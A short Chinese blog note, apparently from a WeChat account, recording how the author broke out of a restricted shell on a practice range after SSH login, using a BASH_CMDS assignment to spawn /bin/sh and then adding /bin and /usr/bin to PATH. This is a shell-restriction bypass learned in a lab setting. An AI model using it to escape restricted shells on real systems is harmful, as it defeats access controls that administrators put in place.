今天的靶场登陆ssh后发现shell受限，如下

woami都执行不了，查看对应的bin目录，发现只能执行4个命令

小记如何绕过受限的shell Safe

在网上学到一招可以绕过这种受限制的被阉割的shell

BASH_CMDS[a]=/bin/sh;a    #把/bin/bash给a变量

/bin/bash                  

echo $0   #查看脚本本身的名字

echo $?    #命令执行结果反馈，0代表执行成功，其余数字表示不成功

export PATH=$PATH:/bin/    #将/bin 作为PATH环境变量导出

export PATH=$PATH:/usr/bin   #将/usr/bin作为PATH环境变量导出

执行完上面加粗的四步之后就可以执行所有命令了

扫码关注我们
微信号：SRE实战
拒绝背锅 运筹帷幄

SRE实战 互联网时代守护先锋，助力企业售后服务体系运筹帷幄！一键直达领取阿里云限量特价优惠。